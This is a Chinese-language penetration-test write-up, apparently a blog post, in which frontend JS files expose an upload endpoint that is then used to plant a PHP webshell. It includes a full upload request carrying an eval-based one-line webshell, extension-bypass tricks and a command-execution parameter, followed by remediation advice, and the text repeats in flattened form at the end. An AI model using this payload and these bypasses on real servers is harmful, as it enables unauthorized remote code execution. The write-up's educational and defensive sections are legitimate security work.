记一次 getshell 过程
字数 1236 2025-08-05 12:50:26

从JS文件分析到文件上传漏洞的Getshell过程详解

0x00 前言

本文详细记录了一次通过分析前端JS代码发现文件上传漏洞并最终获取Webshell的过程。该技术仅用于合法授权测试和安全研究,未经授权的渗透测试是违法行为。

0x01 信息收集阶段

1. 网站入口分析

  • 访问目标网站后首先查看网页源代码
  • 发现成功登录后会跳转到f0.html文件
  • 未登录状态下直接访问会触发跳转

2. JS文件分析

使用Burp Suite的Repeater模块查看HTML响应,发现引用了common.js文件

分析common.js文件发现关键信息:

// common.js中定义了四个HTML文件
var pages = ["f0.html", "f1.html", "f2.html", "f3.html"];

3. 页面遍历

依次访问发现的四个HTML文件:

  1. f0.html - 未发现有用信息
  2. f1.html - 未发现有用信息
  3. f2.html - 未发现有用信息
  4. f3.html - 发现关键线索,引用了list.html

访问list.html后发现引用了cl.js文件

0x02 漏洞发现阶段

1. 关键JS文件分析

分析cl.js文件,发现其中包含文件上传接口的相关代码:

// cl.js中可能包含类似这样的代码
function uploadFile() {
    var formData = new FormData();
    formData.append('file', fileInput.files[0]);
    fetch('/api/upload', {
        method: 'POST',
        body: formData
    });
}

2. 文件上传接口识别

通过JS代码分析,确定以下关键信息:

  • 上传接口URL(可能是/api/upload或其他路径)
  • 请求方法:POST
  • 参数名:file
  • 可能的其他参数或头部信息

0x03 漏洞利用阶段

1. 构造恶意上传请求

使用Burp Suite构造上传请求包:

POST /api/upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 1234

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundaryABC123--

2. 绕过可能的防护

可能需要尝试以下绕过技术:

  • 修改Content-Type
  • 双扩展名(如shell.php.jpg
  • 大小写变异(如Shell.PhP
  • 添加特殊字符(如shell.php%00.jpg
  • 修改文件头

3. Webshell连接

成功上传后,访问上传的PHP文件并使用中国菜刀或其他工具连接:

http://target.com/uploads/shell.php
POST参数:cmd=system('whoami');

0x04 发现被其他攻击者入侵

连接Webshell后发现:

  • 系统上已存在其他Webshell文件
  • 根据文件时间戳判断,其他攻击者在0点已经入侵
  • 检查其他上传接口也已被利用

0x05 技术总结

  1. 前端代码审计:通过分析JS文件发现隐藏接口是重要突破口
  2. 接口枚举:系统可能存在多个上传接口,都应检查
  3. 时间戳分析:检查文件创建时间可以了解系统被入侵情况
  4. 漏洞修复建议
    • 限制上传文件类型
    • 对上传文件重命名
    • 设置上传目录不可执行
    • 定期检查服务器文件变更

0x06 防御措施

  1. 前端代码应避免暴露敏感接口信息
  2. 所有上传功能必须进行严格校验:
    • 文件类型检查(MIME和扩展名)
    • 文件内容检查
    • 病毒扫描
  3. 实施WAF防护上传漏洞攻击
  4. 定期进行安全审计和渗透测试

0x07 扩展思考

  1. 如何自动化发现JS中的敏感接口?
  2. 除了文件上传,JS还可能泄露哪些漏洞?
  3. 如何加强前端代码的安全性?
  4. 多阶段渗透中如何保持隐蔽性?

通过此案例可以看出,前端代码审计是Web渗透测试中的重要环节,开发人员应重视前端代码的安全性,避免泄露敏感信息。

从JS文件分析到文件上传漏洞的Getshell过程详解 0x00 前言 本文详细记录了一次通过分析前端JS代码发现文件上传漏洞并最终获取Webshell的过程。该技术仅用于合法授权测试和安全研究,未经授权的渗透测试是违法行为。 0x01 信息收集阶段 1. 网站入口分析 访问目标网站后首先查看网页源代码 发现成功登录后会跳转到 f0.html 文件 未登录状态下直接访问会触发跳转 2. JS文件分析 使用Burp Suite的Repeater模块查看HTML响应,发现引用了 common.js 文件 分析 common.js 文件发现关键信息: 3. 页面遍历 依次访问发现的四个HTML文件: f0.html - 未发现有用信息 f1.html - 未发现有用信息 f2.html - 未发现有用信息 f3.html - 发现关键线索,引用了 list.html 访问 list.html 后发现引用了 cl.js 文件 0x02 漏洞发现阶段 1. 关键JS文件分析 分析 cl.js 文件,发现其中包含文件上传接口的相关代码: 2. 文件上传接口识别 通过JS代码分析,确定以下关键信息: 上传接口URL(可能是 /api/upload 或其他路径) 请求方法:POST 参数名: file 可能的其他参数或头部信息 0x03 漏洞利用阶段 1. 构造恶意上传请求 使用Burp Suite构造上传请求包: 2. 绕过可能的防护 可能需要尝试以下绕过技术: 修改Content-Type 双扩展名(如 shell.php.jpg ) 大小写变异(如 Shell.PhP ) 添加特殊字符(如 shell.php%00.jpg ) 修改文件头 3. Webshell连接 成功上传后,访问上传的PHP文件并使用中国菜刀或其他工具连接: 0x04 发现被其他攻击者入侵 连接Webshell后发现: 系统上已存在其他Webshell文件 根据文件时间戳判断,其他攻击者在0点已经入侵 检查其他上传接口也已被利用 0x05 技术总结 前端代码审计 :通过分析JS文件发现隐藏接口是重要突破口 接口枚举 :系统可能存在多个上传接口,都应检查 时间戳分析 :检查文件创建时间可以了解系统被入侵情况 漏洞修复建议 : 限制上传文件类型 对上传文件重命名 设置上传目录不可执行 定期检查服务器文件变更 0x06 防御措施 前端代码应避免暴露敏感接口信息 所有上传功能必须进行严格校验: 文件类型检查(MIME和扩展名) 文件内容检查 病毒扫描 实施WAF防护上传漏洞攻击 定期进行安全审计和渗透测试 0x07 扩展思考 如何自动化发现JS中的敏感接口? 除了文件上传,JS还可能泄露哪些漏洞? 如何加强前端代码的安全性? 多阶段渗透中如何保持隐蔽性? 通过此案例可以看出,前端代码审计是Web渗透测试中的重要环节,开发人员应重视前端代码的安全性,避免泄露敏感信息。